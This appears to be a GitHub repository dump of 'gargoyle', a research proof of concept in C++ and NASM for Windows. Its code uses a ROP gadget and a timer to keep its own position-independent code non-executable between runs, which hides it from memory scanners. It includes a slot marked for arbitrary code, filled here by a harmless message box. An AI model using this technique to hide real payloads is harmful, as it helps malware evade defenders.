├── .gitignore ├── Gargoyle.sln ├── Gargoyle.vcxproj ├── Gargoyle.vcxproj.filters ├── LICENSE ├── README.md ├── gadget.nasm ├── gargoyle.png ├── infographic.png ├── infographic_web.png ├── main.cpp ├── setup.nasm └── title.png /.gitignore: -------------------------------------------------------------------------------- 1 | 2 | # Created by https://www.gitignore.io/api/visualstudio 3 | 4 | # User defined 5 | Gargoyle/Debug/ 6 | 7 | ### VisualStudio ### 8 | ## Ignore Visual Studio temporary files, build results, and 9 | ## files generated by popular Visual Studio add-ons. 10 | 11 | # User-specific files 12 | *.suo 13 | *.user 14 | *.userosscache 15 | *.sln.docstates 16 | 17 | # User-specific files (MonoDevelop/Xamarin Studio) 18 | *.userprefs 19 | 20 | # Build results 21 | [Dd]ebug/ 22 | [Dd]ebugPublic/ 23 | [Rr]elease/ 24 | [Rr]eleases/ 25 | x64/ 26 | x86/ 27 | bld/ 28 | [Bb]in/ 29 | [Oo]bj/ 30 | [Ll]og/ 31 | 32 | # Visual Studio 2015 cache/options directory 33 | .vs/ 34 | # Uncomment if you have tasks that create the project's static files in wwwroot 35 | #wwwroot/ 36 | 37 | # MSTest test Results 38 | [Tt]est[Rr]esult*/ 39 | [Bb]uild[Ll]og.* 40 | 41 | # NUNIT 42 | *.VisualState.xml 43 | TestResult.xml 44 | 45 | # Build Results of an ATL Project 46 | [Dd]ebugPS/ 47 | [Rr]eleasePS/ 48 | dlldata.c 49 | 50 | # DNX 51 | project.lock.json 52 | artifacts/ 53 | 54 | *_i.c 55 | *_p.c 56 | *_i.h 57 | *.ilk 58 | *.meta 59 | *.obj 60 | *.pch 61 | *.pdb 62 | *.pgc 63 | *.pgd 64 | *.rsp 65 | *.sbr 66 | *.tlb 67 | *.tli 68 | *.tlh 69 | *.tmp 70 | *.tmp_proj 71 | *.log 72 | *.vspscc 73 | *.vssscc 74 | .builds 75 | *.pidb 76 | *.svclog 77 | *.scc 78 | 79 | # Chutzpah Test files 80 | _Chutzpah* 81 | 82 | # Visual C++ cache files 83 | ipch/ 84 | *.aps 85 | *.ncb 86 | *.opendb 87 | *.opensdf 88 | *.sdf 89 | *.cachefile 90 | *.VC.db 91 | *.VC.VC.opendb 92 | 93 | # Visual Studio profiler 94 | *.psess 95 | *.vsp 96 | *.vspx 97 | *.sap 98 | 99 | # TFS 2012 Local Workspace 100 | $tf/ 101 | 102 | # Guidance Automation Toolkit 103 | *.gpState 104 | 105 | # ReSharper is a .NET coding add-in 106 | _ReSharper*/ 107 | *.[Rr]e[Ss]harper 108 | *.DotSettings.user 109 | 110 | # JustCode is a .NET coding add-in 111 | .JustCode 112 | 113 | # TeamCity is a build add-in 114 | _TeamCity* 115 | 116 | # DotCover is a Code Coverage Tool 117 | *.dotCover 118 | 119 | # NCrunch 120 | _NCrunch_* 121 | .*crunch*.local.xml 122 | nCrunchTemp_* 123 | 124 | # MightyMoose 125 | *.mm.* 126 | AutoTest.Net/ 127 | 128 | # Web workbench (sass) 129 | .sass-cache/ 130 | 131 | # Installshield output folder 132 | [Ee]xpress/ 133 | 134 | # DocProject is a documentation generator add-in 135 | DocProject/buildhelp/ 136 | DocProject/Help/*.HxT 137 | DocProject/Help/*.HxC 138 | DocProject/Help/*.hhc 139 | DocProject/Help/*.hhk 140 | DocProject/Help/*.hhp 141 | DocProject/Help/Html2 142 | DocProject/Help/html 143 | 144 | # Click-Once directory 145 | publish/ 146 | 147 | # Publish Web Output 148 | *.[Pp]ublish.xml 149 | *.azurePubxml 150 | # TODO: Comment the next line if you want to checkin your web deploy settings 151 | # but database connection strings (with potential passwords) will be unencrypted 152 | *.pubxml 153 | *.publishproj 154 | 155 | # Microsoft Azure Web App publish settings. Comment the next line if you want to 156 | # checkin your Azure Web App publish settings, but sensitive information contained 157 | # in these scripts will be unencrypted 158 | PublishScripts/ 159 | 160 | # NuGet Packages 161 | *.nupkg 162 | # The packages folder can be ignored because of Package Restore 163 | **/packages/* 164 | # except build/, which is used as an MSBuild target. 165 | !**/packages/build/ 166 | # Uncomment if necessary however generally it will be regenerated when needed 167 | #!**/packages/repositories.config 168 | # NuGet v3's project.json files produces more ignoreable files 169 | *.nuget.props 170 | *.nuget.targets 171 | 172 | # Microsoft Azure Build Output 173 | csx/ 174 | *.build.csdef 175 | 176 | # Microsoft Azure Emulator 177 | ecf/ 178 | rcf/ 179 | 180 | # Windows Store app package directories and files 181 | AppPackages/ 182 | BundleArtifacts/ 183 | Package.StoreAssociation.xml 184 | _pkginfo.txt 185 | 186 | # Visual Studio cache files 187 | # files ending in .cache can be ignored 188 | *.[Cc]ache 189 | # but keep track of directories ending in .cache 190 | !*.[Cc]ache/ 191 | 192 | # Others 193 | ClientBin/ 194 | ~$* 195 | *~ 196 | *.dbmdl 197 | *.dbproj.schemaview 198 | *.pfx 199 | *.publishsettings 200 | node_modules/ 201 | orleans.codegen.cs 202 | 203 | # Since there are multiple workflows, uncomment next line to ignore bower_components 204 | # (https://github.com/github/gitignore/pull/1529#issuecomment-104372622) 205 | #bower_components/ 206 | 207 | # RIA/Silverlight projects 208 | Generated_Code/ 209 | 210 | # Backup & report files from converting an old project file 211 | # to a newer Visual Studio version. Backup files are not needed, 212 | # because we have git ;-) 213 | _UpgradeReport_Files/ 214 | Backup*/ 215 | UpgradeLog*.XML 216 | UpgradeLog*.htm 217 | 218 | # SQL Server files 219 | *.mdf 220 | *.ldf 221 | 222 | # Business Intelligence projects 223 | *.rdl.data 224 | *.bim.layout 225 | *.bim_*.settings 226 | 227 | # Microsoft Fakes 228 | FakesAssemblies/ 229 | 230 | # GhostDoc plugin setting file 231 | *.GhostDoc.xml 232 | 233 | # Node.js Tools for Visual Studio 234 | .ntvs_analysis.dat 235 | 236 | # Visual Studio 6 build log 237 | *.plg 238 | 239 | # Visual Studio 6 workspace options file 240 | *.opt 241 | 242 | # Visual Studio LightSwitch build output 243 | **/*.HTMLClient/GeneratedArtifacts 244 | **/*.DesktopClient/GeneratedArtifacts 245 | **/*.DesktopClient/ModelManifest.xml 246 | **/*.Server/GeneratedArtifacts 247 | **/*.Server/ModelManifest.xml 248 | _Pvt_Extensions 249 | 250 | # Paket dependency manager 251 | .paket/paket.exe 252 | paket-files/ 253 | 254 | # FAKE - F# Make 255 | .fake/ 256 | 257 | # JetBrains Rider 258 | .idea/ 259 | *.sln.iml 260 | B 261 | 262 | -------------------------------------------------------------------------------- /Gargoyle.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio 14 4 | VisualStudioVersion = 14.0.25420.1 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Gargoyle", "Gargoyle.vcxproj", "{76CDDD0D-EA56-4AA9-9B94-41390A34AB23}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|x86 = Debug|x86 11 | Release|x86 = Release|x86 12 | EndGlobalSection 13 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 14 | {76CDDD0D-EA56-4AA9-9B94-41390A34AB23}.Debug|x86.ActiveCfg = Debug|Win32 15 | {76CDDD0D-EA56-4AA9-9B94-41390A34AB23}.Debug|x86.Build.0 = Debug|Win32 16 | {76CDDD0D-EA56-4AA9-9B94-41390A34AB23}.Release|x86.ActiveCfg = Release|Win32 17 | {76CDDD0D-EA56-4AA9-9B94-41390A34AB23}.Release|x86.Build.0 = Release|Win32 18 | EndGlobalSection 19 | GlobalSection(SolutionProperties) = preSolution 20 | HideSolutionNode = FALSE 21 | EndGlobalSection 22 | EndGlobal 23 | -------------------------------------------------------------------------------- /Gargoyle.vcxproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | 14 | {76CDDD0D-EA56-4AA9-9B94-41390A34AB23} 15 | Win32Proj 16 | Gargoyle 17 | 10.0.14393.0 18 | 19 | 20 | 21 | Application 22 | true 23 | v141 24 | Unicode 25 | 26 | 27 | Application 28 | false 29 | v141 30 | true 31 | Unicode 32 | 33 | 34 | 35 | 36 | Document 37 | Assembling setup.nasm 38 | nasm -f bin setup.nasm -o $(Configuration)\setup.pic 39 | $(Configuration)\setup.pic 40 | 41 | 42 | Document 43 | Assembling gadget.nasm 44 | nasm -f bin gadget.nasm -o $(Configuration)\gadget.pic 45 | $(Configuration)\gadget.pic 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | true 61 | 62 | 63 | false 64 | 65 | 66 | 67 | 68 | 69 | Level3 70 | Disabled 71 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) 72 | 73 | 74 | Console 75 | true 76 | DbgHelp.lib;%(AdditionalDependencies) 77 | 78 | 79 | 80 | 81 | Level3 82 | 83 | 84 | MaxSpeed 85 | true 86 | true 87 | WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 88 | 89 | 90 | Console 91 | true 92 | true 93 | true 94 | DbgHelp.lib;kernel32.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;%(AdditionalDependencies) 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | -------------------------------------------------------------------------------- /Gargoyle.vcxproj.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hh;hpp;hxx;hm;inl;inc;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | 18 | 19 | Source Files 20 | 21 | 22 | 23 | 24 | 25 | 26 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | GNU AFFERO GENERAL PUBLIC LICENSE 2 | Version 3, 19 November 2007 3 | 4 | Copyright (C) 2007 Free Software Foundation, Inc. 5 | Everyone is permitted to copy and distribute verbatim copies 6 | of this license document, but changing it is not allowed. 7 | 8 | Preamble 9 | 10 | The GNU Affero General Public License is a free, copyleft license for 11 | software and other kinds of works, specifically designed to ensure 12 | cooperation with the community in the case of network server software. 13 | 14 | The licenses for most software and other practical works are designed 15 | to take away your freedom to share and change the works. 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Interpretation of Sections 15 and 16. 611 | 612 | If the disclaimer of warranty and limitation of liability provided 613 | above cannot be given local legal effect according to their terms, 614 | reviewing courts shall apply local law that most closely approximates 615 | an absolute waiver of all civil liability in connection with the 616 | Program, unless a warranty or assumption of liability accompanies a 617 | copy of the Program in return for a fee. 618 | 619 | END OF TERMS AND CONDITIONS 620 | 621 | How to Apply These Terms to Your New Programs 622 | 623 | If you develop a new program, and you want it to be of the greatest 624 | possible use to the public, the best way to achieve this is to make it 625 | free software which everyone can redistribute and change under these terms. 626 | 627 | To do so, attach the following notices to the program. It is safest 628 | to attach them to the start of each source file to most effectively 629 | state the exclusion of warranty; and each file should have at least 630 | the "copyright" line and a pointer to where the full notice is found. 631 | 632 | 633 | Copyright (C) 634 | 635 | This program is free software: you can redistribute it and/or modify 636 | it under the terms of the GNU Affero General Public License as published 637 | by the Free Software Foundation, either version 3 of the License, or 638 | (at your option) any later version. 639 | 640 | This program is distributed in the hope that it will be useful, 641 | but WITHOUT ANY WARRANTY; without even the implied warranty of 642 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 643 | GNU Affero General Public License for more details. 644 | 645 | You should have received a copy of the GNU Affero General Public License 646 | along with this program. If not, see . 647 | 648 | Also add information on how to contact you by electronic and paper mail. 649 | 650 | If your software can interact with users remotely through a computer 651 | network, you should also make sure that it provides a way for users to 652 | get its source. For example, if your program is a web application, its 653 | interface could display a "Source" link that leads users to an archive 654 | of the code. There are many ways you could offer source, and different 655 | solutions will be better for different programs; see section 13 for the 656 | specific requirements. 657 | 658 | You should also get your employer (if you work as a programmer) or school, 659 | if any, to sign a "copyright disclaimer" for the program, if necessary. 660 | For more information on this, and how to apply and follow the GNU AGPL, see 661 | . 662 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | ![gargoyle title](https://github.com/JLospinoso/gargoyle/raw/master/title.png) 2 | 3 | ![gargoyle infographic](https://github.com/JLospinoso/gargoyle/raw/master/infographic.png) 4 | 5 | # Building gargoyle 6 | 7 | *gargoyle* is only implemented for 32-bit Windows (64-bit Windows on Windows is fine). You must have the following installed: 8 | 9 | * [Visual Studio](https://www.visualstudio.com/downloads/): 2017 Community is tested, but it may work for other versions. 10 | * [Netwide Assembler](http://www.nasm.us/pub/nasm/releasebuilds/?C=M;O=D) v2.12.02 x64 is tested, but it may work for other versions. Make sure `nasm.exe` is on your path. 11 | 12 | Clone *gargoyle*: 13 | 14 | ```sh 15 | git clone https://github.com/JLospinoso/gargoyle.git 16 | ``` 17 | 18 | Open `Gargoyle.sln`, build, and run. There is some harness code in `main.cpp` that configures the following three components: 19 | 20 | * *gargoyle* stack trampoline, stack, and configuration (read/write memory on the heap) 21 | * *gargoyle* position independent code (PIC) that receives the ROP gadget/stack trampoline and runs arbitrary code 22 | * A ROP gadget. If you have `mshtml.dll`, *gargoyle* will load it into memory and use it. If it is not available, you will have to tell *gargoyle* to allocate its own (3-byte) ROP gadget on the heap: 23 | 24 | ```cpp 25 | // main.cpp 26 | auto use_mshtml{ true }; 27 | auto gadget_memory = get_gadget(use_mshtml, gadget_pic_path); 28 | ``` 29 | 30 | Every 15 seconds, gargoyle will pop up a message box. When you click ok, gargoyle sets up the tail calls to mark itself non-executable and to wait for the timer. For fun, use [Sysinternals's excellent VMMap tool](https://technet.microsoft.com/en-us/sysinternals/vmmap.aspx) to examine when *gargoyle*'s PIC is executable. If a message box is active, *gargoyle* will be executable. If it is not, *gargoyle* should not be executable. The PIC's address is printed to `stdout` just before the harness calls into the PIC. 31 | 32 | # More information 33 | See the blog post [available at lospi.net](https://jlospinoso.github.io/security/assembly/c/cpp/developing/software/2017/03/04/gargoyle-memory-analysis-evasion.html) for more information. 34 | 35 | Also feel free to hop on gitter: [![Join the chat at https://gitter.im/grgyl/Lobby](https://badges.gitter.im/grgyl/Lobby.svg)](https://gitter.im/grgyl/Lobby?utm_source=badge&utm_medium=badge&utm_campaign=pr-badge&utm_content=badge) 36 | 37 | -------------------------------------------------------------------------------- /gadget.nasm: -------------------------------------------------------------------------------- 1 | BITS 32 2 | 3 | pop eax 4 | pop esp 5 | ret -------------------------------------------------------------------------------- /gargoyle.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JLospinoso/gargoyle/38416e4cbce28cd0f1884801393da2d2ccd6726e/gargoyle.png -------------------------------------------------------------------------------- /infographic.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JLospinoso/gargoyle/38416e4cbce28cd0f1884801393da2d2ccd6726e/infographic.png -------------------------------------------------------------------------------- /infographic_web.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JLospinoso/gargoyle/38416e4cbce28cd0f1884801393da2d2ccd6726e/infographic_web.png -------------------------------------------------------------------------------- /main.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | #include 7 | #include 8 | #include 9 | 10 | using namespace std; 11 | 12 | namespace { 13 | typedef void(*callable)(void*); 14 | typedef tuple MyTuple; 15 | constexpr DWORD invocation_interval_ms = 15 * 1000; 16 | constexpr size_t stack_size = 0x10000; 17 | 18 | vector> rop_gadget_candidates = { 19 | { 0x59, 0x5C, 0xC3 }, // pop ecx; pop esp; ret 20 | { 0x58, 0x5C, 0xC3 } // pop eax; pop esp; ret 21 | }; 22 | 23 | struct SetupConfiguration { 24 | uint32_t initialized; 25 | void* setup_address; 26 | uint32_t setup_length; 27 | void* VirtualProtectEx; 28 | void* WaitForSingleObjectEx; 29 | void* CreateWaitableTimer; 30 | void* SetWaitableTimer; 31 | void* MessageBox; 32 | void* tramp_addr; 33 | void* sleep_handle; 34 | uint32_t interval; 35 | void* target; 36 | uint8_t shadow[8]; 37 | }; 38 | 39 | struct StackTrampoline { 40 | void* VirtualProtectEx; 41 | void* return_address; 42 | void* current_process; 43 | void* address; 44 | uint32_t size; 45 | uint32_t protections; 46 | void* old_protections_ptr; 47 | uint32_t old_protections; 48 | void* setup_config; 49 | }; 50 | 51 | struct Workspace { 52 | SetupConfiguration config; 53 | uint8_t stack[stack_size]; 54 | StackTrampoline tramp; 55 | }; 56 | } 57 | 58 | Workspace& allocate_workspace() { 59 | auto result = VirtualAllocEx(GetCurrentProcess(), nullptr, sizeof(Workspace), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); 60 | if (!result) throw runtime_error("[-] Couldn't VirtualAllocEx: " + GetLastError()); 61 | RtlSecureZeroMemory(result, sizeof(Workspace)); 62 | return *static_cast(result); 63 | } 64 | 65 | MyTuple allocate_pic(const string& filename) { 66 | fstream file_stream{ filename, fstream::in | fstream::ate | fstream::binary }; 67 | if (!file_stream) throw runtime_error("[-] Couldn't open \"" + filename + "\"."); 68 | auto pic_size = static_cast(file_stream.tellg()); 69 | file_stream.seekg(0, fstream::beg); 70 | auto pic = VirtualAllocEx(GetCurrentProcess(), nullptr, pic_size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); 71 | if (!pic) throw runtime_error("[-] Couldn't VirtualAllocEx: " + GetLastError()); 72 | file_stream.read(static_cast(pic), pic_size); 73 | file_stream.close(); 74 | DWORD old_protection; 75 | auto prot_result = VirtualProtectEx(GetCurrentProcess(), pic, pic_size, PAGE_EXECUTE_READ, &old_protection); 76 | if (!prot_result) throw runtime_error("[-] Couldn't VirtualProtectEx: " + GetLastError()); 77 | return MyTuple(pic, pic_size); 78 | } 79 | 80 | void* get_system_dll_gadget(const string& system_dll_filename) { 81 | printf("[ ] Loading \"%s\" system DLL.\n", system_dll_filename.c_str()); 82 | auto dll_base = reinterpret_cast(LoadLibraryA(system_dll_filename.c_str())); 83 | if (!dll_base) throw runtime_error("[-] Couldn't LoadLibrary: " + GetLastError()); 84 | 85 | printf("[+] Loaded \"%s\" at 0x%p.\n", system_dll_filename.c_str(), dll_base); 86 | 87 | auto pe_header = ImageNtHeader(dll_base); 88 | if (!pe_header) throw runtime_error("[-] Couldn't ImageNtHeader: " + GetLastError()); 89 | 90 | auto filtered_section_headers = vector(); 91 | auto section_header = reinterpret_cast(pe_header + 1); 92 | for (int i = 0; i < pe_header->FileHeader.NumberOfSections; ++i) 93 | { 94 | if (section_header->Characteristics & IMAGE_SCN_MEM_EXECUTE) { 95 | filtered_section_headers.push_back(section_header); 96 | printf("[ ] Found executable section \"%s\" at 0x%p.\n", section_header->Name, dll_base + section_header->VirtualAddress); 97 | } 98 | section_header++; 99 | }; 100 | 101 | for (auto section_header : filtered_section_headers) 102 | { 103 | for (auto rop_gadget : rop_gadget_candidates) 104 | { 105 | auto section_base = dll_base + section_header->VirtualAddress; 106 | vector section_content(section_base, section_base + section_header->Misc.VirtualSize); 107 | auto search_result = search(begin(section_content), end(section_content), begin(rop_gadget), end(rop_gadget)); 108 | if (search_result == end(section_content)) 109 | continue; 110 | 111 | auto rop_gadget_offset = section_base + (search_result - begin(section_content)); 112 | printf("[+] Found ROP gadget in section \"%s\" at 0x%p.\n", section_header->Name, rop_gadget_offset); 113 | return rop_gadget_offset; 114 | } 115 | } 116 | 117 | printf("[-] Didn't find ROP gadget in \"%s\".\n", system_dll_filename.c_str()); 118 | return 0; 119 | } 120 | 121 | void* get_gadget(bool use_system_dll, const string& gadget_system_dll_filename, const string& gadget_pic_path) { 122 | void* memory; 123 | if (use_system_dll) { 124 | memory = get_system_dll_gadget(gadget_system_dll_filename); 125 | } 126 | if (!use_system_dll || !memory) { 127 | printf("[ ] Allocating executable memory for \"%s\".\n", gadget_pic_path.c_str()); 128 | size_t size; 129 | tie(memory, size) = allocate_pic(gadget_pic_path); 130 | printf("[+] Allocated %u bytes for gadget PIC.\n", size); 131 | } 132 | return memory; 133 | } 134 | 135 | void launch(const string& setup_pic_path, const string& gadget_system_dll_filename, const string& gadget_pic_path) { 136 | printf("[ ] Allocating executable memory for \"%s\".\n", setup_pic_path.c_str()); 137 | void* setup_memory; size_t setup_size; 138 | tie(setup_memory, setup_size) = allocate_pic(setup_pic_path); 139 | printf("[+] Allocated %d bytes for PIC.\n", setup_size); 140 | 141 | auto use_system_dll{ true }; 142 | printf("[ ] Configuring ROP gadget.\n"); 143 | auto gadget_memory = get_gadget(use_system_dll, gadget_system_dll_filename, gadget_pic_path); 144 | printf("[+] ROP gadget configured.\n"); 145 | 146 | printf("[ ] Allocating read/write memory for config, stack, and trampoline.\n"); 147 | auto& scratch_memory = allocate_workspace(); 148 | auto& config = scratch_memory.config; 149 | auto& tramp = scratch_memory.tramp; 150 | printf("[+] Allocated %u bytes for scratch memory.\n", sizeof(scratch_memory)); 151 | 152 | printf("[ ] Building stack trampoline.\n"); 153 | tramp.old_protections_ptr = &tramp.old_protections; 154 | tramp.protections = PAGE_EXECUTE_READ; 155 | tramp.current_process = GetCurrentProcess(); 156 | tramp.VirtualProtectEx = VirtualProtectEx; 157 | tramp.size = static_cast(setup_size); 158 | tramp.address = setup_memory; 159 | tramp.return_address = setup_memory; 160 | tramp.setup_config = &config; 161 | printf("[+] Stack trampoline built.\n"); 162 | 163 | printf("[ ] Building configuration.\n"); 164 | config.setup_address = setup_memory; 165 | config.setup_length = static_cast(setup_size); 166 | config.VirtualProtectEx = VirtualProtectEx; 167 | config.WaitForSingleObjectEx = WaitForSingleObjectEx; 168 | config.CreateWaitableTimer = CreateWaitableTimerW; 169 | config.SetWaitableTimer = SetWaitableTimer; 170 | config.MessageBox = MessageBoxA; 171 | config.tramp_addr = &tramp; 172 | config.interval = invocation_interval_ms; 173 | config.target = gadget_memory; 174 | printf("[+] Configuration built.\n"); 175 | 176 | printf("[+] Success!\n"); 177 | printf(" ================================\n"); 178 | printf(" Gargoyle PIC @ -----> 0x%p\n", setup_memory); 179 | printf(" ROP gadget @ -------> 0x%p\n", gadget_memory); 180 | printf(" Configuration @ ----> 0x%p\n", &scratch_memory.config); 181 | printf(" Top of stack @ -----> 0x%p\n", &scratch_memory.stack); 182 | printf(" Bottom of stack @ --> 0x%p\n", &scratch_memory.stack[stack_size-1]); 183 | printf(" Stack trampoline @ -> 0x%p\n", &scratch_memory.tramp); 184 | 185 | reinterpret_cast(setup_memory)(&config); 186 | } 187 | 188 | int main() { 189 | try { 190 | launch("setup.pic", "mshtml.dll", "gadget.pic"); 191 | } catch (exception& e) { 192 | printf("%s\n", e.what()); 193 | } 194 | } 195 | -------------------------------------------------------------------------------- /setup.nasm: -------------------------------------------------------------------------------- 1 | BITS 32 2 | 3 | STRUC Configuration 4 | .initialized: RESD 1 5 | .setup_addr: RESD 1 6 | .setup_length: RESD 1 7 | .VirtualProtectEx: RESD 1 8 | .WaitForSingleObjectEx: RESD 1 9 | .CreateWaitableTimer: RESD 1 10 | .SetWaitableTimer: RESD 1 11 | .MessageBox: RESD 1 12 | .trampoline_addr: RESD 1 13 | .sleep_handle: RESD 1 14 | .interval: RESD 1 15 | .gadget: RESD 1 16 | .shadow: RESD 2 17 | .stack: RESB 0x10000 18 | .trampoline: RESD 9 19 | ENDSTRUC 20 | 21 | ; Call me like void (*__cdecl callable)(void* workspace); 22 | 23 | mov ebx, [esp+4] ; Configuration in ebx now 24 | lea esp, [ebx + Configuration.trampoline - 4] ; Bottom of "stack" 25 | mov ebp, esp 26 | 27 | ; If we're initialized, skip to trampoline fixup 28 | mov edx, [ebx + Configuration.initialized] 29 | cmp edx, 0 30 | jne reset_trampoline 31 | 32 | ; Create the timer 33 | push 0 34 | push 0 35 | push 0 36 | mov ecx, [ebx + Configuration.CreateWaitableTimer] 37 | call ecx 38 | mov [ebx + Configuration.sleep_handle], eax 39 | 40 | ; Set the timer 41 | push 0 42 | mov ecx, [ebx + Configuration.trampoline_addr] 43 | push ecx 44 | mov ecx, [ebx + Configuration.gadget] 45 | push ecx 46 | mov ecx, [ebx + Configuration.interval] 47 | push ecx 48 | lea ecx, [ebx + Configuration.shadow] 49 | push ecx 50 | mov ecx, [ebx + Configuration.sleep_handle] 51 | push ecx 52 | mov ecx, [ebx + Configuration.SetWaitableTimer] 53 | call ecx 54 | 55 | ; Set the initialized bit 56 | mov [ebx + Configuration.initialized], dword 1 57 | 58 | ; Replace the return address on our trampoline 59 | reset_trampoline: 60 | mov ecx, [ebx + Configuration.VirtualProtectEx] 61 | mov [ebx + Configuration.trampoline], ecx 62 | 63 | ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; 64 | ;;;; Arbitrary code goes here. Note that the 65 | ;;;; default stack is pretty small (65k). 66 | ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; 67 | ; Pop a MessageBox as example 68 | push 0 ; null 69 | push 0x656c796f ; oyle 70 | push 0x67726167 ; garg 71 | mov ecx, esp 72 | push 0x40 ; Info box 73 | push ecx ; ptr to 'gargoyle' on stack 74 | push ecx ; ptr to 'gargoyle' on stack 75 | push 0 76 | mov ecx, [ebx + Configuration.MessageBox] 77 | call ecx 78 | mov esp, ebp 79 | ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; 80 | ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; 81 | ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; 82 | 83 | ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; 84 | ;;;; Time to setup tail calls to go down 85 | ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; 86 | ; Setup arguments for WaitForSingleObjectEx x1 87 | push 1 88 | push 0xFFFFFFFF 89 | mov ecx, [ebx + Configuration.sleep_handle] 90 | push ecx 91 | push 0 ; Return address never ret'd 92 | 93 | ; Setup arguments for WaitForSingleObjectEx x2 94 | push 1 95 | push 0xFFFFFFFF 96 | mov ecx, [ebx + Configuration.sleep_handle] 97 | push ecx 98 | ; Tail call to WaitForSingleObjectEx 99 | mov ecx, [ebx + Configuration.WaitForSingleObjectEx] 100 | push ecx 101 | 102 | ; Setup arguments for VirtualProtectEx 103 | lea ecx, [ebx + Configuration.shadow] 104 | push ecx 105 | push 2 ; PAGE_READONLY 106 | mov ecx, [ebx + Configuration.setup_length] 107 | push ecx 108 | mov ecx, [ebx + Configuration.setup_addr] 109 | push ecx 110 | push dword 0xffffffff 111 | ; Tail call to WaitForSingleObjectEx 112 | mov ecx, [ebx + Configuration.WaitForSingleObjectEx] 113 | push ecx 114 | 115 | ; Jump to VirtualProtectEx 116 | mov ecx, [ebx + Configuration.VirtualProtectEx] 117 | jmp ecx -------------------------------------------------------------------------------- /title.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JLospinoso/gargoyle/38416e4cbce28cd0f1884801393da2d2ccd6726e/title.png --------------------------------------------------------------------------------